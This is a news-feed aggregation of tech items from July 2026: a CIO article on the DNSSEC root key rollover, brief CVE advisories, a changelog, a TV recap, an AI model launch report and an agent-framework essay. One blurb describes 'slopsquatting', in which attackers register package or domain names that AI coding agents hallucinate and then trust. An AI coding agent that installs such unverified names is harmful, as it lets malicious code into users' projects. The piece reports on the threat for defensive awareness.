Back in 2017, the switchover was relatively uneventful, giving some CIOs hope that January 2027 will also be a non-event. But given the technology advancements in the last 10 years and the resulting tidal wave of new enterprise tech dependencies, few are realistically expecting no problems this go around. 

Impossible to predict what will happen

One of the top network experts on DNS effects in enterprises is Geoff Huston, chief scientist at the Asia Pacific Network Information Centre (APNIC), the regional Internet Registry administering IP addresses for the Asia Pacific region.

Huston says it is difficult to project what will happen in January until it happens.

“Just like the last time, we are flying blind with this key roll. Because nothing really terrible happened last time, there is some confidence that nothing terrible will happen this time, but we just can’t tell in advance as there are no good measurement approaches that allow us to peek inside the trust state of recursive resolvers,” he says.

As for potential edge-case glitches, Huston says it is possible, but if third-party vendors do not properly handle the update, there will be other issues as well, as the KSK cryptographic key used within DNSSEC signs and validates the keys that protect DNS records. 

“If it is not standards-compliant, then you have more problems than just the KSK roll,” Huston says, “as it raises the obvious question of ‘What else is not correctly implemented in the DNS resolver that I’m running?’”

As a silver lining, Acceligence’s Greis says any hiccups that result from the DNS KSK update may be a gift in disguise for CIOs. 

“The irony is that some of the most business-critical components in the technology stack are often the least visible because they work in the background,” Greis says. January “may reveal how much modern business resilience depends on infrastructure that many organizations rarely examine until something breaks. For CIOs, that’s the real lesson. This is not fundamentally a story about a DNS update. It is a story about operational visibility, resilience, and governance. Organizations that treat the rollover as a routine infrastructure task will likely complete the update and move on. Organizations that use it as an opportunity to understand and strengthen the foundations of their technology environment may gain far more value than simply avoiding an outage.”

CVE-2026-30276 | DeftPDF Document Translator 54.0 file inclusion
Sat, 25 Jul 2026 04:54:25 +0200
A vulnerability was found in DeftPDF Document Translator 54.0. It has been declared as critical. Affected is an unknown function. Executing a manipulation can lead to file inclusion.

This vulnerability is registered as CVE-2026-30276. The attack requires access to the local network. No exploit is available.

Datalab’s Marker 2 vs MinerU, Docling and LiteParse: 76.0 on olmOCR-bench at 5× MinerU’s Throughput
Sat, 25 Jul 2026 04:18:55 +0200
Datalab rewrote Marker as a three-mode pipeline. Version 2 hits 76.0 on olmOCR-bench and sustains 2.9 pages per second on one B200 — over 5× MinerU's pipeline backend, while beating Docling on both accuracy and speed. Here's how it compares against MinerU, Docling and LiteParse, and which one fits your use case.
The post Datalab’s Marker 2 vs MinerU, Docling and LiteParse: 76.0 on olmOCR-bench at 5× MinerU’s Throughput appeared first on MarkTechPost.

v1.18.5
Sat, 25 Jul 2026 00:31:21 +0200
Core
Bugfixes

Improve Claude adaptive thinking handling across more response shapes.
Avoid OpenAI Responses phase handling that could break some conversations.
Preserve grep symlink paths in search results. (@remixz)
Preserve Mistral reasoning history across turns.
Stabilize Mistral prompt caching.
Use the correct prompt cache keys for each SDK.
Fix MiniMax M3 thinking variant selection.

Desktop
Improvements

Support the current server terminal transport.
Support current-server review data in the desktop app.
Update server discovery flows for current servers.
Support current-server session actions, including prompts and commands.
Render current-server session timelines.
Stream current-server events in the desktop app.
Detect legacy and current servers so the desktop app can work with both.

Bugfixes

Restore optimistic timeline updates while responses are still streaming.
Hide legacy-only features when connected to current servers.
Preserve inline file mentions when sending prompts to legacy servers.
Stop auto-accepting config permissions on current servers.
Keep current servers out of the legacy layout.
Show plain file contents in file-specific tabs instead of review diffs.
Keep the prompt input agent toggle in sync.
Keep paginated session timelines in the right order.
Restore directory-scoped session status for legacy servers.
Reload legacy session progress after hydration.

Thank you to 2 community contributors:

@dleopold:

fix(app): classify existing web profiles for layout transition (#38117)

@remixz:

fix(opencode): preserve grep symlink paths (#38581)

CVE-2022-40303 | libxml2 up to 2.10.2 XML Document memory corruption (EUVD-2022-43600 / Nessus ID 211168)
Sat, 25 Jul 2026 00:10:56 +0200
A vulnerability classified as critical was found in libxml2 up to 2.10.2. This vulnerability affects unknown code of the component XML Document Handler. Executing a manipulation can lead to memory corruption.

This vulnerability appears as CVE-2022-40303. The attack may be performed from remote. There is no available exploit.

Upgrading the affected component is advised.

‘Silo’ Season 3, Episode 4 Recap: Bernard’s Return Changes Everything
Fri, 24 Jul 2026 21:28:49 +0200
Silo Season 3, Episode 4 takes Juliette deeper into Silo 18 as she escapes another attempt on her life and uncovers a secret that changes everything she thought she knew.

Warning: Major spoilers for Silo Season 3, Episode 4 follow.

Episode title: “Whatever You Do, Don’t Go Home”

Release date: July 24, 2026

Genre: Science fiction, drama and mystery

Season length: 10 episodes

Season 3 finale: September 4, 2026

Juliette escapes from Medical

The episode begins with Camille still determined to kill Juliette under the Algorithm’s instructions. Sims offers to handle the situation, although his true intentions remain difficult to understand.

Amy, the nurse caring for Juliette, turns against Camille’s plan. She sedates Emerson instead and helps Juliette escape from Medical. Amy also reveals that she had secretly replaced Juliette’s memory-suppressing medication before Juliette stopped taking the pills herself.

Amy allows the Raiders to capture her so Juliette can get away. Shirley later helps Juliette escape from Sims, believing that he plans to hurt her. However, his actions suggest that he may have been quietly helping Juliette all along.

Juliette discovers Bernard alive

Juliette asks Shirley to take her toward the sealed Digger Void. They discover that the entrance is not completely closed, allowing Juliette to continue down into a hidden section beneath the silo.

At the bottom, Juliette finds a small living area containing Bernard Holland. He is alive, heavily scarred and almost unrecognizable after the fire that supposedly killed him.

Sims previously claimed that Bernard had died and that his body had been destroyed. Bernard’s survival now raises major questions about Sims, Camille and the power struggle inside Silo 18. It also gives Juliette someone who understands the secrets behind the Algorithm and the larger silo system.

Billings investigates Orla’s murder

Elsewhere, Billings continues investigating Orla Kent’s death. He learns that rat poison did not kill her. Someone struck her with a piece of metal before hiding her body inside a closed tunnel.

Carla also disappears before she can meet Billings, while Mike and Glenda become possible suspects. The growing number of missing people suggests that someone is removing anyone connected to the silo’s hidden areas.

Daniel and Helen follow the conspiracy

In the earlier timeline, Daniel and Helen hide after discovering Steve’s damaged base and disappearance. Their only lead comes from a strange chess username that may contain a coded message.

Daniel contacts a Pentagon connection named Sam, while a government fixer pressures Helen to stop investigating. Sam eventually discovers something important, sending Daniel and Helen back into the conspiracy just before the episode ends.

Episode 4 leaves Juliette standing before one of the season’s biggest surprises. Bernard’s return can expose what Sims has been planning and reveal why Juliette’s memories were removed. What do you think Bernard will tell Juliette, and can she trust him after everything he did in previous seasons? Let us know in the comments.

Anthropic launches Claude Opus 5, a cheaper AI model for coding, agents and enterprise workflows
Fri, 24 Jul 2026 20:10:11 +0200
Anthropic released Claude Opus 5 on Friday, a model the company says delivers nearly all the intelligence of its top-of-the-line Claude Fable 5 at half the cost — a launch that signals how the AI race is shifting from raw capability to the economics of daily use.
The model, available immediately on all of Anthropic's platforms, is priced at $5 per million input tokens and $25 per million output tokens, unchanged from its predecessor, Opus 4.8. It becomes the new default model on Claude Max, Anthropic's premium consumer tier, and the strongest model available on Claude Pro.
The positioning is deliberate. Anthropic is not claiming Opus 5 is its smartest model — that distinction still belongs to Fable 5, and rival systems retain an edge in certain domains. Instead, the company is making a subtler argument that may matter more to enterprise buyers: that the most economically important AI work happens in a middle band of difficulty, where near-frontier intelligence delivered efficiently and cheaply beats frontier intelligence delivered expensively.
"Opus 5 as your daily driver, the model you hand complex work to and review when it's done," an Anthropic spokesperson said in an interview with VentureBeat, describing how the company's lineup now stratifies. "Fable 5 for your most ambitious work, the days-long autonomous projects nothing could take on before... Sonnet 5 for work you run at scale, where speed and cost per call decide what ships. Haiku 4.5 for subagents and instant answers."
How Claude Opus 5 benchmark results stack up against Fable 5 and rival AI models
On paper, the results are striking. Anthropic says Opus 5 sets new state-of-the-art marks on coding and knowledge-work evaluations including Frontier-Bench and GDPval-AA. On Frontier-Bench v0.1, an agentic terminal coding benchmark, Opus 5 scores 43.3 percent — more than double Opus 4.8's 18.7 percent and well ahead of Fable 5's 33.7 percent — at a lower cost per task, according to the company. On ARC-AGI 3, an evaluation of novel problem-solving, Anthropic reports Opus 5 scored three times as high as the next best model. On OSWorld 2.0, a computer-use benchmark, the company says the model surpasses Fable 5's best result at just over a third of the cost.
The numbers come with honest caveats that are themselves notable in an industry prone to superlatives. Anthropic acknowledges Opus 5 remains behind Mythos 5, a competing model, on cybersecurity tasks and biology research, and an OpenAI-family model still leads on one agentic coding benchmark.
The more revealing caveat came from Anthropic itself, when asked where Opus 5 still falls short of Fable 5. The spokesperson's answer amounted to a candid admission about what benchmarks do and don't capture.
"The evals where Opus 5 wins are bounded tasks with a specific outcome, which is where it's strongest. What those evals don't measure is duration," the spokesperson told VentureBeat. "One way to put it: Opus 5 is the best tool for the jobs benchmarks can see, and Fable 5 is what you reach for when the job outruns the benchmark."
Fable 5, by contrast, "is for the longest, most autonomous jobs, where the model has to stay coherent across many connected steps over hours or days with dense source material," the spokesperson said, advising customers to "run both on a representative workload, one bounded task and one long-horizon job." That framing — bounded tasks versus long-horizon autonomy — may become the defining axis of model differentiation in 2026, as benchmarks saturate and the hardest remaining problems involve sustained, multi-day agentic work rather than discrete puzzles.
Why token efficiency is becoming the real battleground for enterprise AI spending
Threaded through the launch is a theme Anthropic clearly wants buyers to absorb: Opus 5 doesn't just score well, it scores well per dollar. The model ships with an adjustable "effort" setting that lets customers trade intelligence for speed and token savings, and Anthropic's charts emphasize performance at a given cost rather than peak performance alone.
Early customers echoed the point with unusual specificity. Harvey, the legal AI company, said Opus 5 achieved similar performance to Opus 4.8's maximum-reasoning mode "while generating 26% fewer tokens on average," according to Niko Grupen, its head of applied research. Richard Pham of Fundamental Research Lab said that on hard financial-modeling tasks, the model averaged nine percentage points higher accuracy "while using roughly one-third fewer turns and tool calls and 60% less time."
Wade Foster, chief executive of Zapier, said Opus 5 topped his company's AutomationBench leaderboard "without spending more tokens than prior Claude models," running a full churn-prevention workflow from start to finish. "Previous models didn't pass; Opus 5 hit 100%," he said. Scott Wu, chief executive of Cognition, the company behind the Devin coding agent, said that on FrontierCode 1.1, "Claude Opus 5 approaches Fable-level performance at half the cost," with particular strength in debugging and root-cause analysis.
The efficiency emphasis reflects commercial reality. Enterprise AI spending is no longer experimental, and inference costs — the price of actually running these models at scale — have become a board-level line item. 
Anthropic's business skews heavily toward API and enterprise usage; according to a February 2026 analysis by Contrary Research, Claude held roughly 40 percent of the enterprise large language model market by usage as of late 2025, and Claude Code alone had reached about $1 billion in annualized revenue. For a company whose customers pay by the token, a model that does more with fewer tokens is not a nice-to-have. It is the product.
Self-verifying AI agents and what they mean for the hidden costs of automation
Beyond the numbers, Anthropic is selling a behavioral story: that Opus 5 verifies its work and iterates until it succeeds. The company offered several examples from testing that read like small parables of machine stubbornness.
In one Frontier-Bench task, the model was asked to reconstruct a machine part as a 3D CAD model from a drawing it was intentionally given no way to view. Rather than fail, Anthropic says, Opus 5 wrote its own computer vision pipeline to extract the geometry from raw pixels — and did so repeatedly, while no competing model solved the task in five attempts. In another case, given a real bug in a popular open-source package manager, the model found the root cause and fixed an edge case the community's own patch had missed; a competing model patched only the symptom and declared victory. An engineer at a trading firm, the company says, used Opus 5 to build a market data feed for a new exchange in a single session and, finding no live feed to validate against, watched the model build its own test harness to check its parsing code.
Customers described similar behavior in the wild. Cristian Rivera, a staff software engineer at Stripe, said he gave the model "a chief-of-staff role over my dev environments" for a weekend: "it built its own monitor, drove each box, and pulled me in only for the judgment calls."
This is the capability enterprises actually care about, and it is worth dwelling on why. The gap between a model that produces plausible output and one that verifies its output is the gap between a demo and a deployable system. Most of the hidden cost of enterprise AI today is human review — engineers checking the machine's work. A model that reliably checks its own work compresses that cost, which is precisely why customers keep citing fewer turns, fewer passes, and less time rather than higher raw scores.
Inside Anthropic's safety strategy: capability gaps, classifiers, and model fallbacks
The launch also showcases Anthropic's increasingly intricate approach to safety — one that now involves deliberately not teaching its models certain skills. The company says its automated behavioral audit found Opus 5 to be its most aligned model to date, scoring 2.3 on overall misaligned behavior, lower than Opus 4.8, Sonnet 5, or Fable 5, with the lowest rates of deceptive behavior and the least susceptibility to being tricked into misuse.
On the capability side, Anthropic says it intentionally avoided training Opus 5 on cyber tasks, as it did with Opus 4.8. The model improved on them anyway — a side effect of general capability gains — and now nearly matches Mythos 5 at finding software vulnerabilities. But it remains far behind at exploiting them: on Anthropic's OSS-Fuzz evaluation, Opus 5 identified vulnerabilities at a 79.4 percent rate, close to Mythos 5's 80 percent, but succeeded at developing exploits in only 4 challenges versus Mythos 5's 13. That asymmetry — strong at defense-relevant discovery, weak at offense-relevant exploitation — appears to be by design, and the safeguards follow the same logic. Anthropic expects Opus 5's cyber classifiers to intervene about 85 percent less often than Fable 5's.
When a classifier does trigger, requests in Claude.ai, Claude Code, and Claude Cowork fall back to Opus 4.8 by default — raising an obvious question: if a request is too risky for one model, why is it acceptable for another? "The model it falls back to has lower capability levels making the risk of harmful use lower as well," the spokesperson said, adding that "there is a message that lets the user know when this occurs and is visible in the chat."
The logic is defensible, but it reveals how AI safety actually works in 2026: risk is not a property of the question alone, but of the question multiplied by the capability of the system answering it. On biology, the calculus runs the other way. Opus 5 is now Anthropic's most capable generally available model for scientific research — scoring 10.2 percentage points higher than Opus 4.8 on the company's internal chemistry benchmark — though the spokesperson acknowledged that "Mythos 5 remains the stronger model for long-horizon, open-ended work like autonomous drug design campaigns."
The business stakes behind the launch: a $380 billion valuation and massive compute bets
The launch lands at a moment of extraordinary commercial momentum — and extraordinary obligations — for Anthropic. Reuters reported in February that the company was valued at roughly $380 billion in its latest funding round, following a period in which, per Contrary Research's analysis, its annualized revenue climbed from about $1 billion at the end of 2024 to a projected $9 billion by the end of 2025, with internal targets reportedly reaching $20 to $26 billion for 2026. Those targets are underwritten by enormous infrastructure commitments, including a reported $30 billion Azure compute deal alongside arrangements with Google Cloud and Nvidia — spending that only pencils out if enterprises keep expanding usage.
That is the context in which Opus 5's pricing strategy makes sense. Holding the price at Opus 4.8 levels while roughly doubling performance on key agentic benchmarks is effectively a steep price cut per unit of capability, designed to widen the funnel of workloads that are economical to automate. Every task that was marginal at Opus 4.8's cost-per-success becomes viable at Opus 5's — and every viable task is recurring token revenue.
The regulatory backdrop has grown more complex as well. A U.S. judge gave final approval this week to Anthropic's $1.5 billion copyright settlement with book authors, Reuters reported, closing a chapter of litigation over the company's early training data. And in June, Reuters, citing Axios, reported that the U.S. government had moved to block foreign access to Anthropic's most advanced models — a reminder that frontier AI is now entangled with export policy in ways that shape which customers can buy what.
Also shipping Friday: a Fast mode running at roughly 2.5 times default speed at twice the base price, automatic fallback routing on the API, and mid-conversation tool changes that no longer invalidate the prompt cache — a small feature that agent developers may appreciate more than any benchmark. Consistent with prior Opus models, Opus 5 carries no data retention requirements for general access, a point the spokesperson flagged unprompted for customers with "a hard zero data retention requirement." Developers can access the model as claude-opus-5 on the Claude API starting today.
Two questions will determine whether the bet pays off: whether Opus 5's efficiency claims survive contact with production workloads at scale, and whether enterprises embrace a world where safety classifiers, not users, sometimes decide which model answers. But the deeper message of Friday's launch is that the AI industry's center of gravity has moved. For three years, the labs competed on what their best model could do on its best day. With Opus 5, Anthropic is competing on something less glamorous and far more lucrative: what a very good model can do every day, for half the price. In a market where the frontier keeps moving, Anthropic is wagering that the real fortune lies just behind it.

Apple’s $250 Million Siri Settlement Approved, iPhone Users Could Get Up to $95
Fri, 24 Jul 2026 19:20:12 +0200
Apple’s $250 million settlement over the delayed launch of its new Siri features has received preliminary court approval, bringing eligible iPhone owners closer to a possible payout of up to $95. The settlement website has not launched yet, so customers do not need to submit any forms or take action at this stage.

The lawsuit followed Apple’s decision to delay several Siri features that it had promoted alongside Apple Intelligence in June 2024. These features included personal context awareness, on-screen understanding, and deeper controls inside supported apps.

Apple used product presentations, its website, and a television advertisement featuring Bella Ramsey to promote the new Siri experience. However, the company delayed the personalised Siri upgrade in March 2025, which led customers to file a class action lawsuit over alleged false advertising.

Who qualifies for the Apple Siri settlement?

Eligible users must live in the United States and must have purchased one of the following iPhone models between June 10, 2024, and March 29, 2025:

iPhone 15 Pro

iPhone 15 Pro Max

iPhone 16

iPhone 16e

iPhone 16 Plus

iPhone 16 Pro

iPhone 16 Pro Max

Customers will likely need to provide purchase details, a serial number, or other device information when submitting a claim. The final requirements will appear on the official settlement website once it goes live.

Each approved claim will receive an estimated payment of $25 per eligible device. However, the payout can rise to as much as $95 if fewer people submit valid claims than expected.

According to the July 17 court document, eligible customers should receive email notices within about 45 days of preliminary approval. Customers who do not receive an email can still submit a claim if they meet the eligibility requirements.

Apple announced its revamped Siri system at WWDC 2026, and the assistant is now available through the iOS 27 developer beta. Apple plans to release iOS 27 publicly in September for the iPhone 15 Pro and newer models.

Build and Run an Intelligent Document Processing (IDP) System in the Cloud
Fri, 24 Jul 2026 17:25:29 +0200
Automating the classification and extraction of PII from emails using AWS
The post Build and Run an Intelligent Document Processing (IDP) System in the Cloud appeared first on Towards Data Science.

De Vlieger: The Fedora 45 sausage factory
Fri, 24 Jul 2026 17:15:45 +0200
Fedora contributor Simon de Vlieger has published a blog
post with a walkthrough of how the project turns source code and
packages into the final release that users install on their systems.

It follows the a package from a packager's git push to a composed
release: ISOs, cloud images, container images, and OSTree
deployments.

The walkthrough describes how the Fedora 'sausage' is created as of
Fedora 45, things change all the time; I hope to have time to update
this document every cycle or every few cycles of Fedora releases so
there's both history and people can find up to date information.

Slopsquatting, Phantom Domains, and HalluSquatting Are the Same AI Attack
Fri, 24 Jul 2026 16:10:23 +0200
Slopsquatting, phantom squatting, and HalluSquatting all exploit the same late-binding attack pattern, where AI coding agents trust hallucinated package, repo, or domain names. ActiveState explains how pre-fetch verification and governed dependency management can help stop these attacks before malicious code enters the pipeline. [...]

Loop Engineering for RAG Generation: An LLM Cascade from a Cheap Local Model Up to a Hosted Flagship
Fri, 24 Jul 2026 15:34:53 +0200
Enterprise Document Intelligence [Vol.1 #8quater] - Two angles on the cascade, cost and a validation loop, backed by a real sweep of twenty local models against a hosted flagship
The post Loop Engineering for RAG Generation: An LLM Cascade from a Cheap Local Model Up to a Hosted Flagship appeared first on Towards Data Science.

SourTrade Browser-Assembled Malware Defeats Hash-Based Detection by Design
Fri, 24 Jul 2026 12:39:08 +0200
SourTrade turns the browser itself into a malware build system, deliberately sidestepping the industry’s reliance on hash-based file fingerprints and traditional network-centric detection. SourTrade has been active since late 2024, abusing programmatic ads to reach retail traders and crypto investors…
Read more →
The post SourTrade Browser-Assembled Malware Defeats Hash-Based Detection by Design appeared first on IT Security News.

SourTrade Browser-Assembled Malware Defeats Hash-Based Detection by Design
Fri, 24 Jul 2026 12:27:53 +0200
SourTrade turns the browser itself into a malware build system, deliberately sidestepping the industry’s reliance on hash-based file fingerprints and traditional network-centric detection. SourTrade has been active since late 2024, abusing programmatic ads to reach retail traders and crypto investors in 12 geographies across APAC, LATAM, Africa, and Western markets, including Japan, Thailand, South Korea, […]
The post SourTrade Browser-Assembled Malware Defeats Hash-Based Detection by Design appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

CIOs beware: DNS KSK rollover could kick off wave of mysterious outages
Fri, 24 Jul 2026 12:09:00 +0200

Predicting an outage is tricky business, but CIOs might want to circle Oct. 11, 2026, through Jan. 11, 2027, for likely trouble of a potentially widespread and puzzling nature.

That’s because a relatively trivial update to DNSSEC on Oct. 11, one that will take full effect by Jan. 11, is likely to deliver a series of seemingly unrelated system outages. This will come from oceans of dependencies from third-party, shadow, agentic, gen AI, SaaS, homegrown, and legacy apps — among many other quiet executable hiding spots, including virtual environments and containers.

Sai Joshitha Kathari, senior site reliability engineer at payment card giant Visa, says most enterprises have far more DNS-related exposure than they realize because of these many dependencies.

“This has the potential to create real downstream destruction when unresolved failures sit underneath important business functions,” Kathari says. 

The danger is that so many of these issues are either unknown to IT or handled by a third-party vendor and no one in IT has had reason to ask those vendors about DNS updates. 

“The risky areas are usually not the obvious managed DNS services. They are the older internal applications, hardcoded resolvers, containerized workloads, sidecar configurations, custom scripts, partner integrations, VM images, stale base images, and service-to-service dependencies that nobody has touched in a long time,” Kathari explains. “These systems can keep working quietly for years, then fail during a DNS or certificate-related change because they bypassed the normal platform standards.”

Independent technology analyst Carmi Levy says that CIOs need to take this event very seriously. 

“The two-pronged deadline — October 11, 2026, when the new Key Signing Key (KSK) begins signing the root zone, and January 11, 2027, when the old key is retired — should be marked in red on everyone’s calendar, just as December 31, 1999, once was,” Levy says. “Failure to comply could result in websites, critical business applications, and related resources dropping off the face of the Earth once the transition is complete.”

Levy adds: “Custom-built code that lives outside conventional support mechanisms may or may not function when the DNS changes go into effect.”

The DNSSEC update itself is straightforward, but it is also the first significant DNSSEC change — specifically a change in the trust anchor — since 2018. 

The rollout statement noted that “the trust anchor is formally known as the Domain Name System Security Extensions (DNSSEC) root zone Key Signing Key (KSK). The KSK is the cryptographic key at the core of the DNSSEC trust anchor and is used to verify that DNS responses are legitimate and have not been modified in transit.”

Expect nearly every enterprise to be impacted

Kim Davies, vice president of IANA Services and president of public technical identifiers at ICANN, says the extent of the impact on enterprises is unknowable, given the nature of shadow IT and other edge cases. 

But based on the massive number of dependencies both known and unknown in the typical global enterprise, Davies guesses that just about every enterprise will be impacted, to varying degrees. 

“In highly complex organizations, it is very likely there will be some impact in the corners, in the margins, of the organization,” Davies tells CIO. “DNS is such a core technology that underpins everything.”

As the updates propagate, hiccups will materialize, Davies notes. “When the system cannot validate the [DNS] information, it will treat it as suspect and DNS lookups will fail.”

Visa’s Kathari says, “Enterprises should expect some secondary DNS-related glitches when major DNSSEC-related changes happen, not necessarily because the core infrastructure teams will ignore the update, but because large environments have many hidden dependency paths.”

Making this problem far worse, Kathari notes, is that the glitches will likely initially look like anything other thana DNS glitch. That will force IT staff to waste a vast number of hours chasing causes that ultimately prove to be unrelated to the incidents. 

“The impact for CIOs is that DNS failures rarely announce themselves as DNS failures. They look like application timeouts, broken logins, failed API calls, queue lag, payment failures, partner connectivity issues, or random regional instability,” Kathari explains. “That makes troubleshooting slower because teams may spend hours looking at the application, database, network, or cloud provider before realizing name resolution is part of the failure path.”

Sanchit Vir Gogia, chief analyst at Greyhound Research, agrees that IT will likely spin its wheels chasing the wrong ghosts.

“A validation failure rarely stays in its lane. It surfaces as an application error, an API timeout, or a reachability problem, which turns a resolver fault into a coordination failure,” Gogia says. “The application team blames the network, the network team blames the cloud, and the user simply watches work stop.”

“Images and templates are the frontier most teams miss,” Gogia adds. “A resolver fixed in summer can be broken again in October the instant a stale golden image is redeployed, because automation no longer lets configuration drift slowly. It restores yesterday’s assumptions at machine speed.”

It is widely expected that enterprises will not have any problems executing the change or, more likely, relying on their hyperscalers to properly handle the change. That is the concern. 

“CIOs are being distracted so much with AI and this is such a deep in the weeds infrastructure issue that this can and willcatch people off-guard,” Justin Greis, CEO of consulting firm Acceligence, tells CIO. “I think we’ll see a meaningful number of enterprise disruptions associated with the DNSSEC trust anchor rollover. Not because the update itself is especially difficult, but because it will expose weaknesses that already exist inside many organizations.”

Most enterprise IT operations have had no reason to compile a comprehensive list of all DNS dependencies, but many will be instantly discovered in January. 

Potentially widespread fallout

A major retailer, for example, might suddenly be unable to connect with FedEx to arrange for deliveries or a hospital may find that test results are no longer being shared with patient portals. It might manifest as an assembly line that halts because an IIoT component can no longer share files with its vendor system or a truck fleet that stops being tracked. 

“There will almost certainly be systems that fall through the cracks. Some will be legacy applications that rely on outdated DNS configurations that have not been updated in years,” Greis says. “Others will be business-unit-developed tools, contractor-built solutions, embedded systems, manufacturing and industrial systems, or highly customized workloads that operate outside normal IT oversight. These are the types of systems that often surface during infrastructure events like this.”

Greis adds that many enterprises will discover in January problems created by their own automation.

“Over time, enterprises build layers of processes, templates, and deployment mechanisms that are reused across teams and environments,” Greis notes. “Even after DNS infrastructure is updated correctly, older settings can inadvertently be reintroduced through routine updates and system changes, creating intermittent and difficult-to-diagnose failures.”

The good news from this situation is that enterprises are not going to likely lose all DNS access if any of these glitches occur. But that may be of no comfort because even if the disruptions are only with small edge cases, that can still cause massive operational disruptions.

Cricket Liu, EVP and chief evangelist at Infoblox, gives the example of a DNS server that responds to factory-floor system queries.

“Or let’s say this disrupts [an enterprise’s key] SaaS application. All name resolution may stop and it will show a server failure. It will not deliver a response whenever I look anything up. That’s not subtle at all,” Liu says. “It’s highly likely that companies are going to see some effects.”

Back in 2017, the switchover was relatively uneventful, giving some CIOs hope that January 2027 will also be a non-event. But given the technology advancements in the last 10 years and the resulting tidal wave of new enterprise tech dependencies, few are realistically expecting no problems this go around. 

Impossible to predict what will happen

One of the top network experts on DNS effects in enterprises is Geoff Huston, chief scientist at the Asia Pacific Network Information Centre (APNIC), the regional Internet Registry administering IP addresses for the Asia Pacific region.

Huston says it is difficult to project what will happen in January until it happens.

“Just like the last time, we are flying blind with this key roll. Because nothing really terrible happened last time, there is some confidence that nothing terrible will happen this time, but we just can’t tell in advance as there are no good measurement approaches that allow us to peek inside the trust state of recursive resolvers,” he says.

As for potential edge-case glitches, Huston says it is possible, but if third-party vendors do not properly handle the update, there will be other issues as well, as the KSK cryptographic key used within DNSSEC signs and validates the keys that protect DNS records. 

“If it is not standards-compliant, then you have more problems than just the KSK roll,” Huston says, “as it raises the obvious question of ‘What else is not correctly implemented in the DNS resolver that I’m running?’”

As a silver lining, Acceligence’s Greis says any hiccups that result from the DNS KSK update may be a gift in disguise for CIOs. 

“The irony is that some of the most business-critical components in the technology stack are often the least visible because they work in the background,” Greis says. January “may reveal how much modern business resilience depends on infrastructure that many organizations rarely examine until something breaks. For CIOs, that’s the real lesson. This is not fundamentally a story about a DNS update. It is a story about operational visibility, resilience, and governance. Organizations that treat the rollover as a routine infrastructure task will likely complete the update and move on. Organizations that use it as an opportunity to understand and strengthen the foundations of their technology environment may gain far more value than simply avoiding an outage.”

The Microsoft agent framework wars are over. The real architecture decision starts now
Fri, 24 Jul 2026 11:04:58 +0200

Over the past year, I had the same conversation with almost every team starting an AI initiative. Should we build on Semantic Kernel, AutoGen or Foundry?

At first it felt like the most important architectural decision we’d make. Each framework had its own philosophy, each promised to be the foundation for enterprise AI, and picking the wrong one felt like an expensive mistake. I spent a lot of time helping teams weigh the trade-offs.

Looking back, I think we were asking the wrong question. I certainly was.

I watched teams spend months debating SDKs while the decisions that actually decided whether their applications survived production went unexamined. Some built elaborate orchestration layers for workflows that a few deterministic functions would have handled. Others avoided agent frameworks entirely and later found they’d designed themselves into a corner.

Then Microsoft settled it for us. It introduced the unified Agent Framework, quietly moved Semantic Kernel and AutoGen into maintenance mode, and the debate I’d spent months refereeing was suddenly over. Turns out the answer to “which of the three” was “none of the three, here’s a fourth.” The framework hit version 1.0 and general availability in April 2026, stable across .NET and Python.

What surprised me wasn’t the decision. It was how fast a debate that had eaten so much of our attention stopped mattering. Microsoft changed the menu.

It didn’t change the meal.

The framework was never the hard part

Framework selection dominated almost every early conversation I had about enterprise agents. Which SDK do we standardize on? Which orchestration model gives us the most flexibility? Which one is Microsoft actually betting on?

Fair questions. But after a year of watching these projects play out, I’ve slowly come around to a different view. Those weren’t the questions that decided anything.

The first question I ask now is much smaller. Does this thing actually need an agent?

It sounds obvious, and I still get it wrong sometimes. But it’s the mistake I see most. On one project, a team spent weeks designing a multi-agent workflow for a process that ran the same four steps every time: read a document, validate it, call an API, send a notification. The diagrams looked great. The system in production didn’t. A few well-tested functions would have been easier to build, easier to maintain and a lot easier to trust.

Part of this is just that “agent” has become the word everyone reaches for. Sometimes it’s the right call. Sometimes it’s a workflow we already knew how to build, wearing a newer label. An agent earns its complexity when it genuinely has to decide things you can’t predetermine, choosing between tools, adapting to what it finds, working out its own next step. If you already know every step, you have a workflow, and a workflow is usually the better engineering choice. The consolidation didn’t change that. It just made it easier to see.

What building production agents actually taught me

Once I stopped fixating on frameworks, the same three problems kept showing up. None of them had anything to do with the SDK.

Context beats model choice

Early on I spent a lot of time comparing models, the way you’d agonize over a restaurant menu and then order what you always order. Now I spend most of it thinking about context, which is far less fun and far more useful.

I’ve watched good models fail because they were handed too much, not too little. One team I worked with gave the model access to nearly every internal document they had on the theory that more information meant better answers. It went the other way. Responses got slower, less consistent and sometimes skipped right past the thing that actually mattered. When we cut the context down to only what the task needed, the quality jumped almost immediately. I didn’t predict that. It taught me to be suspicious of “just give it everything.”

The best agent systems I’ve worked on weren’t the ones with the biggest context windows. They were the ones careful about what reached the model, and when. That’s not something the framework hands you.

Failure is where the real work is

Most agent demos look great because they’re built around the happy path. Production doesn’t extend that courtesy.

I remember a project where everything held up in testing. Then a downstream API timed out after the agent had already completed several earlier steps. We couldn’t just restart, because part of the business process had already gone through. We ended up spending far more time on recovery logic than we ever spent on prompts. That project changed how I think about this work. The hard part was never getting the model to make a decision. It was making sure the system didn’t fall apart when reality refused to follow the script.

Tool calls fail partway through. APIs return inconsistent data. Models call the same tool over and over because the last answer wasn’t what they wanted. That’s not the exception; that’s a normal Tuesday. Whether you retry, roll back, pause for a human or push on with partial results is a judgment call, and no framework is going to make it for you.

Identity is the real security boundary

This one surprised me most. The moment an agent stops being a chatbot and starts touching real business systems, identity matters more than orchestration.

Every project gets to the same question eventually. Who is this agent actually acting as? The developer’s credentials? A service account? The user who asked? Get it wrong and you’ve built something autonomous running with more access than any single person should have, which is exactly the kind of thing that looks fine until an audit. The Agent Framework, like most modern tooling, makes it easier to wire agents to tools through standards like the Model Context Protocol. That helps. But where human approval belongs, what needs extra authorization, how much rope to give the thing, those are still yours to decide.

The surprises weren’t technical

Here’s what I didn’t see coming. The hardest part of last year wasn’t technical at all. It was organizational. The moment a team heard “agent,” expectations shifted under everyone’s feet. Business stakeholders started expecting full autonomy. Developers assumed the thing could reason its way through anything. People started designing for flexibility before we’d even agreed on what problem we were solving. The word did damage before any code did. I found myself spending as much time resetting expectations as I did discussing architecture.

Build for change, not for today’s winner

I don’t think the teams that struggled last year picked the wrong framework. Semantic Kernel was reasonable. AutoGen was reasonable. Foundry made sense for plenty of cases. I’d have signed off on any of them.

